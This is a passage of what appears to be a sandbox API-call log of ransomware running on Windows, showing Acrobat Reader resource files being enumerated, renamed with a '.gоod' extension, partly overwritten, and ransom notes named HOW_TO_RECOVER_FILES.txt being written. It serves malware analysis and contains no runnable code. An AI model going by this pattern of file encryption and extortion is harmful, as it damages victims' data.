nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt", lpFilePart=0x0) returned 0x67 [0103.795] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt.gоod", lpFilePart=0x0) returned 0x6c [0103.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0103.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea4e7b8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a157463, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3018)) returned 1 [0103.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0103.795] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt.gоod")) returned 1 [0103.796] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fceb690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x73 [0103.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebbb0) returned 1 [0103.796] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\adobe\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0103.797] GetFileType (hFile=0x6e0) returned 0x1 [0103.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb20) returned 1 [0103.798] GetFileType (hFile=0x6e0) returned 0x1 [0103.798] WriteFile (in: hFile=0x6e0, lpBuffer=0x33b8180*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fcebc78, lpOverlapped=0x0 | out: lpBuffer=0x33b8180*, lpNumberOfBytesWritten=0x1fcebc78*=0x5d0, lpOverlapped=0x0) returned 1 [0103.799] CloseHandle (hObject=0x6e0) returned 1 [0103.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebc40) returned 1 [0103.799] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac", nBufferLength=0x105, lpBuffer=0x1fceb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac", lpFilePart=0x0) returned 0x58 [0103.799] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x1fceb960 | out: lpFindFileData=0x1fceb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.803] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.803] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea74a4e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3277, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTEURO.TXT", cAlternateFileName="")) returned 1 [0103.803] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CORPCHAR.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x34d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CROATIAN.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeac0ed3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x345b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CYRILLIC.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeae7122, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x340e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREEK.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICELAND.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x383a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMAN.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x39ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMANIAN.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYMBOL.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb59829, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x31fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURKISH.TXT", cAlternateFileName="")) returned 1 [0103.804] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x11fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 1 [0103.805] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0103.805] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb80) returned 1 [0103.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb40) returned 1 [0103.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcebc40) returned 1 [0103.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac", nBufferLength=0x105, lpBuffer=0x1fceb6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac", lpFilePart=0x0) returned 0x58 [0103.806] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x1fceb960 | out: lpFindFileData=0x1fceb960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0103.807] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3406a41d, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdeb7fa81, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.807] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea74a4e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3277, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTEURO.TXT", cAlternateFileName="")) returned 1 [0103.807] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x49eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CORPCHAR.TXT", cAlternateFileName="")) returned 1 [0103.807] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea9ac96, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x34d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="CROATIAN.TXT", cAlternateFileName="")) returned 1 [0103.807] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeac0ed3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x345b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CYRILLIC.TXT", cAlternateFileName="")) returned 1 [0103.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeae7122, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x340e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREEK.TXT", cAlternateFileName="")) returned 1 [0103.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICELAND.TXT", cAlternateFileName="")) returned 1 [0103.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb0d38c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x383a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMAN.TXT", cAlternateFileName="")) returned 1 [0103.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x39ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="ROMANIAN.TXT", cAlternateFileName="")) returned 1 [0103.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb335c2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3d56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYMBOL.TXT", cAlternateFileName="")) returned 1 [0103.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb59829, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x31fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURKISH.TXT", cAlternateFileName="")) returned 1 [0103.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x11fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 1 [0103.809] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1fceb920 | out: lpFindFileData=0x1fceb920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeb7fa81, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x11fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UKRAINE.TXT", cAlternateFileName="")) returned 0 [0103.809] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0103.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb80) returned 1 [0103.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcebb40) returned 1 [0103.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", lpFilePart=0x0) returned 0x65 [0103.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0103.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), fInfoLevelId=0x0, lpFileInformation=0x32c9e80 | out: lpFileInformation=0x32c9e80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea74a4e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x3277)) returned 1 [0103.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0103.954] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", lpFilePart=0x0) returned 0x65 [0103.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0103.955] GetFileType (hFile=0x6e8) returned 0x1 [0103.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.955] GetFileType (hFile=0x6e8) returned 0x1 [0103.955] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0103.955] ReadFile (in: hFile=0x6e8, lpBuffer=0x32ca318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x32ca318*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0103.956] CloseHandle (hObject=0x6e8) returned 1 [0103.956] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", lpFilePart=0x0) returned 0x65 [0103.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0103.956] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e8 [0103.956] GetFileType (hFile=0x6e8) returned 0x1 [0103.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0103.956] GetFileType (hFile=0x6e8) returned 0x1 [0103.956] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x3277 [0103.957] WriteFile (in: hFile=0x6e8, lpBuffer=0x32cb5f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x32cb5f0*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0104.022] CloseHandle (hObject=0x6e8) returned 1 [0104.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT", lpFilePart=0x0) returned 0x65 [0104.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0104.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 